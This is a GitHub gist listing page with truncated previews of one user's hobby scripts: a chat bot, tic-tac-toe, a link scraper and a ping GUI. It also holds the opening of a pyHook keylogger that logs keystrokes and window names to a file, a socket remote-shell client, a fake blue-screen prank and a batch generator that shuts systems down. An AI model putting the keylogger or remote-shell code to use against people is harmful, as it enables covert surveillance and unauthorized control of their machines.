Skip to content

Instantly share code, notes, and snippets.

@daryo918
daryo918 / bot.py
Last active December 16, 2015 19:29
bot en desarrollo
import ch
import time
import random
import re,os
import subprocess
class TestBot(ch.RoomManager):
def onConnect(self, room):
print("Connected")
cerrar=False
@daryo918
daryo918 / triqui.py
Created April 29, 2013 22:08
triqui en consola
#!/usr/bin/python
# triqui version 1.0
import os
import time
# comprobar si es linux para el comando clear o cls windows
if os.name == "posix":
clear = "clear"
else:
clear = "cls"
os.system("title by daryo")
@daryo918
daryo918 / bsod.cpp
Created April 29, 2013 22:09
pantallazo azul windows api
#include <windows.h>
#include <winable.h>
HINSTANCE miinstance;
int bloqueo=0;
/* Declare Windows procedure */
LRESULT CALLBACK WindowProcedure (HWND, UINT, WPARAM, LPARAM);
# -*- coding: iso-8859-15 -*-
import pythoncom, pyHook, time
n = "ventana"
def OnKeyboardEvent(event):
global n
teclas = event.Key
ventana = event.WindowName
tiempo=time.asctime()
nm = open("write.txt","a")
@daryo918
daryo918 / enlaces.py
Created April 29, 2013 22:10
atrapar enlaces para descargas sevidores rapdshare ejemplo
import re,urllib2,os
#lee la pagina y la captura en una variable
pagin=raw_input("pagina a extraer enlaces>")
if pagin.count("http://") == 0:
pagin= "http://" + pagin
page=urllib2.urlopen(pagin)
leer = page.read()
page.close()
@daryo918
daryo918 / wxbatchcreator.py
Created April 29, 2013 22:12
creador de batch con interfaz wx
#!/usr/bin/python
import wx
class batch(wx.Frame):
def __init__(self, parent, id, title):
wx.Frame.__init__(self, parent, id, title)
self.parent = parent
self.initialize()
def initialize(self):
grilla = grilla = wx.GridBagSizer()
opciones = ["apagar el sistema", "mensajes", "quitar la barra de inicio"]
@daryo918
daryo918 / pingwui.cpp
Created April 29, 2013 22:13
ping gui windows
#include <windows.h>
#include <cstdio>
#include <cstring>
#include <iostream>
int MN_MENSAJE=1024;
int MN_SALIR=1025;
HINSTANCE miinstance;
/* Declare Windows procedure */
LRESULT CALLBACK WindowProcedure (HWND, UINT, WPARAM, LPARAM);
@daryo918
daryo918 / cliente.py
Created April 29, 2013 22:16
shell python
import socket
import time
print """
--------------------
| cliente |
--------------------
instrucciones:
1. se recomienda no enviar comandos que se redireccionen por ejemplo: echo h > hola.
@daryo918
daryo918 / tkinter.py
Created April 29, 2013 22:17
post nuevos
#!/usr/env/python
import Tkinter,urllib2,re,os,subprocess
from Tkinter import *
class program:
def __init__(self,master):
frame=Frame(master)
frame.grid()
Label(master, text="Titulo" , foreground="Red").grid(row=0)
@daryo918
daryo918 / broma.cpp
Created April 29, 2013 22:21
broma en c++
#include <windows.h>
#include <mmsystem.h>
#include <iostream>
int main(int argc, char *argv[])
{
int x;
int y;
mciSendString("play na.wav",0,0,0);